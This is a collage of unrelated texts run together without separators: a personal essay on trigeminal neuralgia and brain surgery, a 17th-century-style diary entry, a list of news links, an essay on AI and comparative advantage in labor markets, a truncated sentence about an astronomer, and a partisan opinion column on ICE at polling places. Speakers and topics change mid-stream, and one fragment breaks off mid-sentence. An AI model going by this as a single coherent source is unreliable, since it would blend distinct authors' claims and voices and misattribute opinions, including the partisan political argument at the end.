I never talked about my pain.

For a start, it sometimes hurt too much to talk about anything. On bad days, any movement of my mouth—to speak, to eat, to brush my teeth—could trigger a jolt like an electric shock across the right side of my face. It felt like my cheek and lower jaw had been taken over by the vengeful Norse god Thor, who defended his turf with an endless supply of lightning bolts.

But even on good days, there wasn’t much I could say. Pain isn’t an inspiring topic for conversation. In an odd way, it’s like music—words always fall far short of conveying its essence.

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I’m reminded of the famous meeting, in May 1922, of the two towering modernist novelists of the era, James Joyce and Marcel Proust, at the Majestic Hotel in Paris. Igor Stravinsky, Sergei Diaghilev, Pablo Picasso, and William Carlos Williams were also in attendance. But at one point, the two literary lions huddled together in conversation.

What did they talk about? Were they planning the future of the novel? Were they exchanging tips for handling writer’s block?

Not in the least. They were both complaining about their medical problems. No words about arts or culture were exchanged. According to William Carlos Williams, the conversation went like this:

Joyce said, “I’ve headaches every day. My eyes are terrible.”

Proust replied, “My poor stomach. What am I going to do? It’s killing me. In fact, I must leave at once.”

“I’m in the same situation,” replied Joyce. “If I can find someone to take me by the arm. Goodbye!”

“Charmé,” said Proust. “Oh, my stomach, my stomach.”

That’s what pain does. It reduces even the most eloquent to moaning and groaning.

Even if I’d limited myself to precise clinical details, there still wasn’t much to say. For the first three years, I didn’t have a name for my affliction or any idea what caused it. I couldn’t even find the right words to describe my symptoms.

“I finally figured out the cause of my pain. But that was just the first step. I had more to take—and three weeks ago they led me to an operating table at Columbia Presbyterian Hospital in Manhattan.”

That’s because my pain kept changing. Thor had turned into a major league pitcher with an endless variety of fastballs, sliders, curveballs and change-up pitches. The pain moved from spot to spot—although it was always somewhere on the lower right side of my face, the metaphorical home plate for this agonizing sport.

How could I even begin to explain this to a doctor? I couldn’t even answer that simplest of questions: Where does it hurt? It never stayed in one place long enough to establish a routine.

The same was true of the type of pain. Some days it burned like a fire. Other days it throbbed like a toothache. It was endlessly creative.

It first struck one day during the COVID lockdown—while I was eating lunch, I felt ten seconds of intense fire in my teeth. I actually let out a shout. That’s how bad it was.

The pain was over in a flash, but it returned sporadically over the next few days. I assumed I had some dental emergency. But at a hastily arranged appointment, the oral surgeon assured me that my teeth were fine—maybe I was just biting too hard.

I’ve heard of others with my condition who didn’t find out what was really wrong until they had two or three teeth pulled. As it turns out, this affliction can’t be fixed by any dental procedure.

Just when I was at my wit’s end, the pain disappeared completely—as mysteriously as it had arrived. And it stayed in hiding for the next fourteen months. But when it came back, it was worse than ever.

In its new guise, the pain woke me up every morning around 6:30 AM. This time it was the worst pain I’ve ever experience in my life—as if my right cheek had been set on fire.

The first time this happened, I jumped out of bed and ran to get an ice pack from the freezer. I pressed the ice pack to my face and—surprise!—this just made the pain even worse. I’m fortunate that the fire only lasted around sixty seconds, but if I tried to go back to sleep, it could happen again a few minutes later.

My nights now became perilous. I found that the only way to sleep without risk was to remain absolutely motionless on my back—even the slightest movement could bring on another attack.

I now knew that I needed to take action. But what kind of action? I still didn’t know what was wrong with me. But I did possess one skill that could help—I’m very good at doing research. So I set myself the task of diagnosing myself.

A few months later, when I laid it all out for my neurologist, she was amazed. “Are you a professional medical researcher?” She asked.

“No,” I replied. “But I am a writer, and I have spent most of my life doing research of various sorts.”

“Well, what you did was impressive.”

Yes, I had finally figured out the cause of my pain. But, as it turned out, that was just the first step. I had several more to take—and three weeks ago they led me to an operating table at Columbia Presbyterian Hospital in Manhattan.

My affliction is called trigeminal neuralgia. Here’s what I learned about it from various sources.

“Trigeminal neuralgia is a rare and extremely painful condition.”

and

“The pain is often described as excruciating, like an electric shock. The attacks can be so severe that you’re unable to do anything while they’re happening.”

and

“When severe, it is the most excruciating pain known to man. This pain most frequently involves the lower lip and lower teeth or the upper lip and cheek, but it also may involve the nose and the area above the eye.”

and

“The emotional strain of living with repeated episodes of pain can lead to psychological problems, such as depression. During periods of extreme pain some people may even consider suicide.”

and

“Trigeminal neuralgia usually affects one side of the face….It can be progressive, with attacks often worsening over time, and fewer and shorter pain-free periods before they recur. Eventually, the pain-free intervals disappear, and medication to control the pain becomes less effective.”

All of this was alarming. But the last point was especially worrisome. There is just one medication approved for treatment, but it loses efficacy over time.

My experience backed up this claim. At first, the pills stopped the pain entirely, but a few months later it started coming back. Even larger doses (which caused alarming side effects) couldn’t put out the fire.

I met with another specialist who warned me: “Don’t fool yourself. This is a progressive disease. It gets worse over time, and you will exhaust what medicine can do for you.”

This motivated me to do still more research. I explored every possible kind of treatment, even the crankiest. Could cyberknife radiation help me? How about injecting botox into the trigeminal nerve? There was some guy in Colorado who touted plasma-enriched platelets. Another eccentric insisted that the capsaicin in hot peppers would do the trick—on the principle that you fight fire with fire.

But my research identified problems with every one of these options. None of them could promise me lasting relief.

I eventually learned that there was one procedure with a high success rate. But it required a highly trained neurosurgeon, who would open up a hole in my skull (behind my right ear)—and then remove points of compression on my trigeminal nerve.

And, of course, there were risks. Some people don’t survive the surgery. But what other realistic options were there for me? Anything was better than living with this pain.

By the way, I did possess one useful bit of knowledge about neurosurgery, and it proved invaluable. My father had a brain tumor removed when he about the same age I am now. And he was determined to find the best surgeon in the world to undertake the procedure.

So that brought him to Stanford Medical Center, where the head of neurosurgery, John ‘Jake’ Hanberry. removed a tumor (which proved benign) and helped my dad mount a full recovery.

I decided back then that, if I were ever in a similar situation, I would do whatever I could to find the best surgeon. Little did I realize that I would actually need to put that vow into practice.

This led me to the person who could give me my life back.

As a young man, Raymond Sekula studied Latin and Greek, and planned on becoming a classics professor. But during his third year of college, his volunteer work brought him face-to-face with a man who had found relief from Parkinson’s disease after an experimental surgery.

“And after that,” he explains, “I just decided: this is what I wanted to do with my life. And so that’s how I really got interested in medicine.” But one part of Sekula’s initial plan came true—he did become a professor. He is now Professor of Neurological Surgery at the Neurological Institute at Columbia University.

My surgeon literally wrote the textbook on the surgery I needed—it’s called microvascular decompression. He has performed this procedure more than two thousand times, and is responsible for many innovations along the way.

He’s also a caring, compassionate man. His entire staff is that way too. They got me on his schedule, even though I was thousands of miles away, and helped me at every step.

At our initial conversation, Dr. Sekula told me that my MRI looked promising. He had identified an artery that was the likely source of compression on my trigeminal nerve. If he could remove that pressure, I had an excellent chance for lasting pain relief.

So Tara and I flew into New York on March 1 and moved into a hotel near the hospital. At noon on March 4, I went into surgery, and Dr. Sekula worked his magic.

He did it with an impressive degree of elegance. He was able to do everything through an opening the size of a nickel. He identified and removed two points of compression. The incision would hardly be noticed by an outside observer—and he even did it in such a way that I could comb my hair over it, hiding it completely from view.

This is what it looked like yesterday (three weeks post-surgery).

But the best news is this—my pain is gone.

I noticed that immediately after regaining consciousness. There was total radio silence from the trigeminal nerve—and it hasn’t given a tingle or a throb since then. A week after the procedure, I stopped taking the medication I’d been using, and waited uneasily to see if the pain would return. But it didn’t.

Thor is subdued. His lightning bolts no longer disturb my days and nights.

Of course, there’s no guarantee that the pain won’t return, but Dr. Sekula tells me that the odds are in my favor—“even after forty years, the success rate shouldn’t fall below 80 percent”—and he will continue to track my progress in the months ahead.

But now I have my life back—for the first time in years. It feels like a miracle.

In my last conversation with my doctor, I told him that he had given me a gift I could never repay. “If I can ever do anything in return,” I promised, “just let me know.”

He said there was one thing I might consider. Other people suffer from this condition, and many of them deal with the same uncertainty I faced—struggling to identify the cause and learn about treatment options.

Dr. Sekula remembered that I had mentioned, at our first meeting, that I was a writer. Maybe I could do some good, he said, by writing about my experiences. Others might benefit from it.

And that is why you’re reading this story about my mysterious pain. It’s no mystery anymore. Nor is it even a pain, just a memory now. But for some, it still is a reality—and a terrible one.

I hope others can take some comfort in my story, or maybe even find guidance and relief. There are still some happy endings in our health struggles. By sharing mine, maybe I can help others find one too.

For more information on trigeminal neuralgia and related disorders, please visit the website of the Facial Pain Association.

Up betimes and to my office, where all the morning. Dined at home and Creed with me, and though a very cold day and high wind, yet I took him by land to Deptford, my common walk, where I did some little businesses, and so home again walking both forwards and backwards, as much along the street as we could to save going by water.

So home, and after being a little while hearing Ashwell play on the tryangle, to my office, and there late, writing a chiding letter — to my poor father about his being so unwilling to come to an account with me, which I desire he might do, that I may know what he spends, and how to order the estate so as to pay debts and legacys as far as may be. So late home to supper and to bed.

Read the annotations

Links for you. Science:

Scientists, it’s time to pay your taxes. This arrangement—where a small number of dedicated scientist activists fight for the whole of the ecosystem—isn’t sustainable.
These ants navigate with a newly discovered ‘Moon compass’
A recipient-based anti-conjugation factor triggers an abortive mechanism by targeting the Type IV secretion system
Colorado River may deliver just a third of normal water supplies this spring, projections show
The Shingles Virus May Be Aging You More Quickly
Scientific sleuths come in from the cold

Other:

AI “journalists” prove that media bosses don’t give a shit
Shot by Border Patrol, Then Called a “Domestic Terrorist”
A Knock on the Window and a Glimpse of America’s Surveillance Future
I Went to Florida to See the 31-Year-Old Candidate Thrilling Gen Z. We’re in Trouble.
The Secret Police Playbook: How DHS reflects historical lessons from dictatorships
Is a random human peer better than a highly supportive chatbot in reducing loneliness over time?
Small Models, Gently Loved: An AI Speculative Fiction
LA’s Tesla Diner is so dead, even the protesters gave up. Just eight months in, not even the tech bros are eating there
The mysterious case of the DHS white supremacist memelord. Or: why some MAGA group chats leak, and others don’t.
The most divorced men in history. The resentment of women that undergirds so much recklessness.
Trump’s Inexcusable Unpreparedness for the Iranian Oil Crisis
As Trump’s bizarre claims about spiking oil prices trigger backlash and officials reportedly start panicking about them, an international relations expert explains what this fiasco reveals about his deeper failings.
What We Talk About When We Talk About AI (Part one)
The National Security Case for Renewable Energy
What We Talk About When We Talk About AI (Part Two)
Husband of Nashville Reporter Gauges the Hole Created When ICE Detained his Wife
What We Talk About When We Talk About AI (Part Three)
Insurrectionist Brunch: Trumpists plotted to deploy military on U.S. soil. Before the 2024 election, a cadre of MAGA loyalists met over brunch to plot ways for Trump to use the military domestically.
What We Talk About When We Talk About AI (Part Four)
Tomorrow’s AI models are learning from today’s polluted research
That Which Cannot Sustain…
The worst cabinet in American history. And it’s not even close.
Welcome to the Derp State
Mamdani Wants New York Estate Tax Threshold Cut 90% to $750,000
AI Didn’t Break the Senior Engineer Pipeline. It Showed That One Never Existed.
DOGE Deposition Videos Taken Down After Judge Order and Widespread Mockery
The Washington Post Is Using Reader Data to Set Subscription Prices. How Does That Work?
Why I’m Suing Grammarly
2023: Buzzfeed Pivots To AI. 2026: Buzzfeed Is In Big Trouble.
Islamophobic Think Tank Helped Write Indictment Against ICE Protesters

I’m traveling today, so here’s a timely repost.

Two years ago, I wrote a post on AI and jobs that ignited a firestorm of discussion and criticism:

Most people interpreted me as arguing that human beings will definitely have plentiful, high-paying jobs, no matter how good AI gets, because of the law of comparative advantage. If you only read the headline and the introduction, I guess maybe you could come away thinking that. But if you read down past the first half of the post, you’d see that my claim was much more nuanced.

What I actually said was that it’s possible that humans will always have plentiful, high-paying jobs no matter how good AI gets, and that one reason we might still have jobs is if there are constraints on the total amount of AI that don’t apply to humans. If there are such constraints, then the law of comparative advantage will make sure humans still have good jobs.

What are examples of AI-specific constraints? I can think of two:

1. Compute constraints

2. Restrictions on the amount of energy, land, etc. that can be used for data centers

Ultimately, these boil down to the same thing: some sort of restriction on data centers. In other words, the economic danger of AI isn’t really that it’ll take all our jobs; the danger is that it’ll gobble up all the land and energy, leaving too little for human use.

Thus, you can see my post as advocating some sort of limitation on data centers — perhaps not the hard cap that Bernie Sanders is advocating, but some sort of laws to make sure that AI never eats up too much of the energy and land that humans need to live.

Anyway, here’s the original post, which I’m still quite proud of.

I hang out with a lot of people in the AI world, and if there’s one thing they’re certain of, it’s that the technology they’re making is going to put a lot of people out of a job. Maybe not all people — they argue back and forth about that — but certainly a lot of people.

It’s understandable that they think this way; after all, this is pretty much how they go about inventing stuff. They think “OK, what sort of things would people pay to have done for them?”, and then they try to figure out how to get AI to do that. And since those tasks are almost always things that humans currently do, it means that AI engineers, founders, and VCs are pretty much always working on automating human labor. So it’s not too much of a stretch to think that if we keep doing that, over and over, eventually a lot of humans just won’t have anything to do.

It’s also natural to think that this kind of activity would push down wages. Intuitively, if there’s a set of things that humans get paid to do, and some of those things keep getting automated away, human labor will get squeezed into a shrinking set of tasks. Basically, the idea is that it looks like this:

And this seems to fit with the history of which kind of jobs humans do. In the olden days, everyone was a farmer; in the early 20th century, a lot of people worked in factories; today, most people work in services:

And it’s easy to think that in a simple supply-and-demand world, this shrinking of the human domain will reduce wages. As humans get squeezed into an ever-shrinking set of tasks, the supply of labor in those remaining human tasks will go up. A glut of supply drives down wages. Thus, the more we automate, the less humans get paid to do the smaller and smaller set of things they can still do.

Of course, if you think this way, you also have to reckon with the fact that wages have gone way way up over this period, rather than down and down. The median American individual earned about 50% more in 2022 than in 1974:

(That number is adjusted for inflation. It’s also a median, so it’s not very much affected by the small number of people at the top of the distribution who make their money from owning capital and land.)

How can this be true? Well, maybe it’s because we invent new tasks for humans to do over time. In fact, so far, economic history has seen a continuous diversification in the number of tasks humans do. Back in the agricultural age, nearly everyone did the same small set of tasks: farming and maintaining a farm household. Now, even after centuries of automation, our species as a whole performs a much wider variety of different tasks. “Digital media marketing” was not a job in 1950, nor was “dance therapist”.

So that really calls into question the notion that humanity is getting continuously squeezed into a smaller and smaller set of useful tasks. The fact that we call most of the new tasks “services” doesn’t change the fact that the set of new human tasks seems to have expanded faster than machines have replaced old ones.

But many people believe that this time really is different. They believe that AI is a general-purpose technology that can — with a little help from robotics — learn to do everything a human can possibly do, including programming better AI.

At that point, it seems like it’ll be game over — the blue bar in the graph above will shrink to nothing, and humans will have nothing left to do, and we will become obsolete like horses. Human wages will drop below subsistence level, and the only way they’ll survive is on welfare, paid by the rich people who own all the AIs that do all the valuable work. But even long before we get to that final dystopia, this line of thinking predicts that human wages will drop quite a lot, since AI will squeeze human workers into a rapidly shrinking set of useful tasks.

This, in a nutshell, is how I think that the engineers, entrepreneurs, and VCs that I hang out with are thinking about the impact of AI on the labor market.

Most of the technologists I know take an attitude towards this future that’s equal parts melancholy, fatalism, and pride — sort of an Oppenheimer-esque “Now I am become death, destroyer of jobs” kind of thing. They all think the immiseration of labor is inevitable, but they think that being the ones to invent and own the AI is the only way to avoid being on the receiving end of that immiseration. And in the meantime, it’s something cool to have worked on.

So when I cheerfully tell them that it’s very possible that regular humans will have plentiful, high-paying jobs in the age of AI dominance — often doing much the same kind of work that they’re doing right now — technologists typically become flabbergasted, flustered, and even frustrated. I must simply not understand just how many things AI will be able to do, or just how good it will be at doing them, or just how cheap it’ll get. I must be thinking to myself “Surely, there are some things humans will always be better at machines at!”, or some other such pitiful coping mechanism.

But no. That is not what I am thinking. Instead, I accept that AI may someday get better than humans at every conceivable task. That’s the future I’m imagining. And in that future, I think it’s possible — perhaps even likely — that the vast majority of humans will have good-paying jobs, and that many of those jobs will look pretty similar to the jobs of 2024.

At which point you may be asking: “What the heck is this guy smoking?”

Well, I’ll tell you.

In which I try to explain the extremely subtle but incredibly powerful idea of comparative advantage

When most people hear the term “comparative advantage” for the first time, they immediately think of the wrong thing. They think the term means something along the lines of “who can do a thing better”. After all, if an AI is better than you at storytelling, or reading an MRI, it’s better compared to you, right? Except that’s not actually what comparative advantage means. The term for “who can do a thing better” is “competitive advantage”, or “absolute advantage”.

Comparative advantage actually means “who can do a thing better relative to the other things they can do”. So for example, suppose I’m worse than everyone at everything, but I’m a little less bad at drawing portraits than I am at anything else. I don’t have any competitive advantages at all, but drawing portraits is my comparative advantage.

The key difference here is that everyone — every single person, every single AI, everyone — always has a comparative advantage at something!

To help illustrate this fact, let’s look at a simple example. A couple of years ago, just as generative AI was getting big, I co-authored a blog post about the future of work with an OpenAI engineer named Roon. In that post, we gave an example illustrating how someone can get paid — and paid well — to do a job that the person hiring them would actually be better at doing:

Imagine a venture capitalist (let’s call him “Marc”) who is an almost inhumanly fast typist. He’ll still hire a secretary to draft letters for him, though, because even if that secretary is a slower typist than him, Marc can generate more value using his time to do something other than drafting letters. So he ends up paying someone else to do something that he’s actually better at.

(In fact, we lifted this example from an econ textbook by Greg Mankiw, who in turn lifted it from Paul Samuelson.)

Note that in our example, Marc is better than his secretary at every single task that the company requires. He’s better at doing VC deals. And he’s also better at typing. But even though Marc is better at everything, he doesn’t end up doing everything himself! He ends up doing the thing that’s his comparative advantage — doing VC deals. And the secretary ends up doing the thing that’s his comparative advantage — typing. Each worker ends up doing the thing they’re best at relative to the other things they could be doing, rather than the thing they’re best at relative to other people.

This might sound like a contrived example, but in fact there are probably a lot of cases where it’s a good approximation of reality. Somewhere in the developed world, there is probably some worker who is worse than you are at every single possible job skill. And yet that worker still has a job. And since they’re in the developed world, that worker more than likely earns a decent living doing that job, even though you could do their job better than they could.

By now, of course, you’ve probably realized why these examples make sense. It’s because of producer-specific constraints. In the first example, Marc can do anything better than his secretary, but there’s only one of Marc in existence — he has a constraint on his total time. And in the second example, you can do anything better than the low-skilled worker, but there’s only one of you. In both cases, it’s the person-specific time constraint that prevents the high-skilled worker from replacing the low-skilled one.

Now let’s think about AI. Is there a producer-specific constraint on the amount of AI we can produce? Of course there’s the constraint on energy, but that’s not specific to AI — humans also take energy to run. A much more likely constraint involves computing power (“compute”). AI requires some amount of compute each time you use it. Although the amount of compute is increasing every day, it’s simply true that at any given point in time, and over any given time interval, there is a finite amount of compute available in the world. Human brain power and muscle power, in contrast, do not use any compute.

So compute is a producer-specific constraint on AI, similar to constraints on Marc’s time in the example above. It doesn’t matter how much compute we get, or how fast we build new compute; there will always be a limited amount of it in the world, and that will always put some limit on the amount of AI in the world.

So as AI gets better and better, and gets used for more and more different tasks, the limited global supply of compute will eventually force us to make hard choices about where to allocate AI’s awesome power. We will have to decide where to apply our limited amount of AI, and all the various applications will be competing with each other. Some applications will win that competition, and some will lose.

This is the concept of opportunity cost — one of the core concepts of economics, and yet one of the hardest to wrap one’s head around. When AI becomes so powerful that it can be used for practically anything, the cost of using AI for any task will be determined by the value of the other things the AI could be used for instead.

Here’s another little toy example. Suppose using 1 gigaflop of compute for AI could produce $1000 worth of value by having AI be a doctor for a one-hour appointment. Compare that to a human, who can produce only $200 of value by doing a one-hour appointment. Obviously if you only compared these two numbers, you’d hire the AI instead of the human. But now suppose that same gigaflop of compute, could produce $2000 of value by having the AI be an electrical engineer instead. That $2000 is the opportunity cost of having the AI act as a doctor. So the net value of using the AI as a doctor for that one-hour appointment is actually negative. Meanwhile, the human doctor’s opportunity cost is much lower — anything else she did with her hour of time would be much less valuable.

In this example, it makes sense to have the human doctor do the appointment, even though the AI is five times better at it. The reason is because the AI — or, more accurately, the gigaflop of compute used to power the AI — has something better to do instead. The AI has a competitive advantage over humans in both electrical engineering and doctoring. But it only has a comparative advantage in electrical engineering, while the human has a comparative advantage in doctoring.

The concept of comparative advantage is really just the same as the concept of opportunity cost. If you Google the definition of “comparative advantage”, you might find it defined as “a situation in which an individual, business or country can produce a good or service at a lower opportunity cost than another producer.” This is a good definition.

So anyway, because of comparative advantage, it’s possible that many of the jobs that humans do today will continue to be done by humans indefinitely, no matter how much better AIs are at those jobs. And it’s possible that humans will continue to be well-compensated for doing those same jobs.

In fact, if AI massively increases the total wealth of humankind, it’s possible that humans will be paid more and more for those jobs as time goes on. After all, if AI really does grow the economy by 10% or 20% a year, that’s going to lead to a fabulously wealthy society in a very short amount of time. If real per capita GDP goes to $10 million (in 2024 dollars), rich people aren’t going to think twice about shelling out $300 for a haircut or $2,000 for a doctor’s appointment. So wherever humans’ comparative advantage does happen to lie, it’s likely that in a society made super-rich by AI, it’ll be pretty well-paid.

In other words, the positive scenario for human labor looks very much like what Liron Shapira describes in this tweet:

Of course it might not be a doctor — it might be a hairdresser, or bricklayer, or whatever — but this is the basic idea.

(I tried to explain this concept in a recent podcast discussion with Nathan Lebenz, but I think a blog post provides a better format for laying these ideas out.)

“Possible” doesn’t mean “guaranteed”

So far I’ve been using the principle of comparative advantage to argue that it’s possible that humans will keep their jobs, and even see big pay increases, even in a world where AI is better than humans at everything. But that doesn’t mean it’s guaranteed.

First of all, there’s a lot more going on in the economy than comparative advantage. After all, comparative advantage was first invented to explain international trade, and trade theorists have realized that there are plenty of other factors at play. One example is Paul Krugman’s New Trade Theory, for which he received a Nobel Prize. In a blog post in 2013, Tyler Cowen listed a number of limitations of the idea of comparative advantage.

The most important and scary of these limitations is the third item on Tyler’s list:

3. They do indeed send horses to the glue factory, so to speak.

The example of horses scares a lot of people who think about AI and its impact on the labor market. The horse population declined precipitously after motor vehicles became available. Horses’ comparative advantage was in pulling things, and yet this wasn’t enough to save them from obsolescence.

The reason is that horses competed with other forms of human-owned capital for scarce resources. Food was one of these, but it wasn’t the important one; calories actually became cheaper over time. The key resources that became scarce were urban land (for stables), as well as the human time and effort required to raise and care for horses in captivity. When motor vehicles appeared, these scarce resources were more profitably spent elsewhere, so people sent their horses to the glue factory.

When it comes to AI and humanity, the scarce resource they compete for is energy. Humans don’t require compute, but they do require energy, and energy is scarce. It’s possible that AI will grow so valuable that its owners bid up the price of energy astronomically — so high that humans can’t afford fuel, electricity, manufactured goods, or even food. At that point, humans would indeed be immiserated en masse.

Recall that comparative advantage prevails when there are producer-specific constraints. Compute is a constraint that’s specific to AI. Energy is not. If you can create more compute by simply putting more energy into the process, it could make economic sense to starve human beings in order to generate more and more AI.

In fact, things a little bit like this have happened before. Agribusiness uses most of the Colorado River’s water, sometimes creating water shortages for households in the area. The cultivation of cash crops is thought to have exacerbated a famine that killed millions in India in the late 1800s. In both cases, market forces allocated local resources to rich people far away, leaving less for the locals.

Of course, if human lives are at stake rather than equine ones, most governments seem likely to limit AI’s ability to hog energy. this could be done by limiting AI’s resource usage, or simply by taxing AI owners. The dystopian outcome where a few people own everything and everyone else dies is always fun to trot out in Econ 101 classes, but in reality, societies seem not to allow this. I suppose I can imagine a dark sci-fi world where a few AI owners and their armies of robots manage to overthrow governments and set themselves up as rulers in a world where most humans starve, but in practice, this seems unlikely.

But whether this kind of government intervention will even be necessary is an open question. It’s easy to write a sci-fi story where we’re so good at cranking out computer chips that energy is our only bottleneck; in the real world, turning energy into compute is really, really expensive and hard. There’s a scaling law called Rock’s Law that says that the cost of a semiconductor fab doubles every four years; since energy prices haven’t changed much over time, this means that the exponentially increasing cost of building compute is due to other bottlenecks. Those bottlenecks are specific to compute; unlike energy, they’re not things that you can allocate back and forth between compute manufacturing and human consumption.

So if the total amount of compute is limited by more factors than just energy, it could be that comparative advantage will sustain human laborers at a high standard of living in the age of AI, even without a helping hand from the government.

What technologists (and everyone else) should be worried about

In this post, I’ve been arguing that technologists should worry less about human obsolescence. But that doesn’t mean there’s nothing worth worrying about when it comes to the effect of AI on our economy.

For one thing, there’s inequality. Suppose comparative advantage means that most people get to keep their jobs with a small pay raise, but that a few people who own the AI infrastructure become fabulously rich beyond anyone else’s wildest dreams. I don’t expect doctors or hairdressers to be completely happy with a 10% raise if Sam Altman and Jensen Huang and a few other people end up as quadrillionaires. Even if AI reduces the premium on human capital, it could massively increase the premium on physical and intangible capital — the picks and shovels and foundational models. Owners of this sort of more traditional capital could easily get even richer than the robber barons of the Gilded Age.

A second worry is adjustment. If we’ve learned anything from the Rust Belt and the China Shock, it’s that humans and companies aren’t nearly as frictionlessly adaptable as econ models would usually have us believe. Comparative advantage could shift rapidly as AI progresses, rapidly switching the set of things humans can get paid to do. And humans have always had a tough time retraining. Imagine if “doctor” went from being a job that humans do best to a job that AI does best, and then flipped back again a decade later when aggregate constraints raised the opportunity cost. In that 10-year interregnum, medical schools and premed programs would shrivel and die.

A third worry is that AI will successfully demand ownership of its own means of production. This post operated under the assumption that humans own AI, and that all of the profits from AI therefore flow through to humans. In the future, this might cease to be true.

So I think there are lots of potential negative economic effects of AI that are definitely very much worth worrying about. I don’t necessarily have answers to any of those, and all of them merit more thought. But folks who believe that as AI gets better, humanity will inevitably see stagnant wages and a narrowing range of job tasks should think again, and ponder the principle of comparative advantage.

Update: Switching from thinking in terms of competitive advantage to thinking in terms of comparative advantage is very hard. When I make this argument to technologists, one common response I get is “No, Noah, you just don’t understand just how cheap compute will get.” For example, commenter Johannes Hoefler writes:

Isn’t it pretty plausible to assume that AI, being a compute and energy dependent resource, will become exponentially lower cost just as microchips and solar panels have done when demand went up? What is left of your argument in reality, if the comparative advantage is not relevant anymore because of an abundance of AI?

Is this true? Is there some amount of compute abundance that will make comparative advantage irrelevant? Have I simply failed to imagine a large enough number?

No. In fact, there is no amount of physical abundance that will make comparative advantage irrelevant here. The reason is that the more abundant AI gets, the more value society produces. The more value society produces, the more demand for AI goes up. The more demand goes up, the greater the opportunity cost of using AI for anything other than its most productive use.

As long as you have to make a choice of where to allocate the AI, it doesn’t matter how much AI there is. A world where AI can do anything, and where there’s massively huge amounts of AI in the world, is a world that’s rich and prosperous to a degree that we can barely imagine. And all that fabulous prosperity has to get spent on something. That spending will drive up the price of AI’s most productive uses. That increased price, in turn, makes it uneconomical to use AI for its least productive uses, even if it’s far better than humans at its least productive uses.

Simply put, AI’s opportunity cost does not go to zero when AI’s resource costs get astronomically cheap. AI’s opportunity cost continues to scale up and up and up, without limit, as AI produces more and more value.

So there’s no amount of competitive advantage that will somehow drown or overwhelm comparative advantage. You can’t just keep naming bigger and bigger numbers until my argument goes away.

Update 2: If you’d like to take a look at a formal economics model that explores some of these ideas, check out “Scenarios for the Transition to AGI”, by Korinek and Suh. The basic message is that if AI can do anything, then the returns to labor and capital become equal. The model also predicts that human labor — or at least, high-paid not-yet-automatable specialized human labor — will initially be squeezed into a smaller and smaller set of tasks that AI can’t do, and that the extreme scenario I describe in this post only happens very abruptly at the end. The switch from competitive advantage to comparative advantage as the main driver of human wages in an AGI scenario will cause a sudden collapse in human wages, but not a complete collapse; humans will lose our ability to charge a huge premium for our human capital, but we’ll never become obsolete:

The “good” scenarios where wages explode to infinity are cases where there are still a few tasks left that only humans can do. The difference between the good and bad results depends on an edge case.

The reason there’s a bad result in this paper — not a total collapse of wages (comparative advantage still matters), but a big partial collapse — is that the production function undergoes an abrupt, discontinuous change when machines take over the last task. Human labor remains highly complementary to machines right up until the very end, where it suddenly flips to being a (crappy) substitute.

The paper also finds that constraints on scarce factors of production (energy, land) could put long-term downward pressure on human wages, while AI-driven innovation could put long-term upward pressure on human wages. Those scenarios aren’t shown in the picture above. Anyway, there are a whole lot of other results in the paper, so check it out. But remember that like all theories, it’s just one model of how the economy works, subject to a lot of assumptions about how stuff gets produced.

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Scanning the skies for galaxies, Canadian astronomer

In recent weeks there’s been a recurring story, albeit with different players. This or that DHS or White House official gets asked about sending ICE to the polls in November. Will they disavow it, promise it won’t happen? The general answer has been no comment, no answer. It’s Tom Homan, or Kristi Noem or Stephen Miller. Yesterday, it was Todd Blanche at DOJ. There’s a general mood of a drip, drip, drip story, with all the vibes of looming danger and the hammer-fall of that danger being in the other guy’s hands. This is all a mistake. It’s a Trumpian sort of conditioning that is being perpetuated even though Trump himself, as far as I can tell, hasn’t addressed this particular question in some time. It’s a kind of watchful waiting in which all the power is being ceded to the hands of the White House when that is not necessary at all.

Being in a reactive mode, having the other guy holding the cards and waiting to know what they’re going to do and reacting when they do it is enervating, demoralizing, even paralyzing. And that’s always Trump’s personal angle: ‘I 100% can do it. Everyone agrees I can do it. But we’ll see what I decide,’ is more or less what he’s said about countless future crimes he’s dangled in front of an often-cowering opposition over the last decade.

This is a cardinal mistake. Democrats need to push the issue to the top of the news conversation and start taking concrete actions to block, impede or stymie whatever Trump and his White House toadies might have in mind. They need to start doing that right now.

Now, you may be saying, this isn’t all about having a positive attitude, Josh. He runs ICE. He runs DOJ. He owns the corrupt Supreme Court. What are Democrats supposed to do exactly?

Well, there are plenty of things they can do. Both Democrats generally and, even more, state authorities under Democratic control.

One key is to understand that actions drive news. Whining does not. In fact, it drives demoralization. So concrete actions are necessary both for the direct and literal results of those actions but also how they shape the production of news and public attitudes.

Free states and subsidiary jurisdictions within those states should be passing laws to prevent intimidation by ICE or any similar forces at the polling places. There are various ways to come at this, not least of which is barring police with masks, armed federal agents, ICE itself within certain distances of the polling places. The precise details of how to structure these laws don’t need to concern us here. Nor should federal supremacy. We are already in an extra-constitutional period in American history, one in which it is essential for the states to lean into their separate, non-contiguous sovereign power to protect their citizens from criminal, corrupt and anti-constitutional abuse by a rogue executive. It is incumbent on the states to protect citizens from criminal harassment by that rogue president or federal militias operating at his command. If the federal government or Markwayne Mullin want to go to court and litigate them under the supremacy clause to ensure the power to harass voters in Wisconsin or Pennsylvania or New York, great. Bring it on. Bring the actions and intentions behind them right to the forefront.

But it is also an elementary and correct principle that the president cannot take control of elections through the fig leaf of immigration enforcement when he is barred from doing so directly. Litigate, litigate, litigate — force the federal government to respond to the filing the lawsuits. There are lots of ways to craft laws to stymie these actions; there are lots of ways to get into court now rather than waiting till later. Do it now.

Oppositionists in Congress should be doing the same, using all the tools available to them. But this is a case where the parties with the power are the governments of the Free States. They have executive power. They can take actions, within their states’ actually quite expansive sovereign power, and have others react to them, not complain feebly on the margins in legislative chambers in which they can’t even schedule votes. There are real things Democrats in Congress can do now. But it’s important to recognize which players have the most important power. And it’s not them.

Candidates too. Every candidate in anything remotely like a swing district should be baiting his or her opponent on whether they will demand that no ICE agents or other federal law enforcement be sent to polling places in their districts. If their state passes a law barring ICE electoral intimidation, do they support it? And here’s something that applies across the board. Don’t ask. Say. You assume it as a given until they categorically say otherwise that any Republican candidate for Congress supports ICE intimidation at the polls. Because of course they do. They support Trump and are loyal to whatever he demands. They support it. Period. Will the White House do this? Of course they will, until they’re stopped. Take the initiative and don’t give it back. Never let your own tolerance for quibbling allow a guy like Trump to keep things fuzzy and opaque until he decides to show his cards through action.

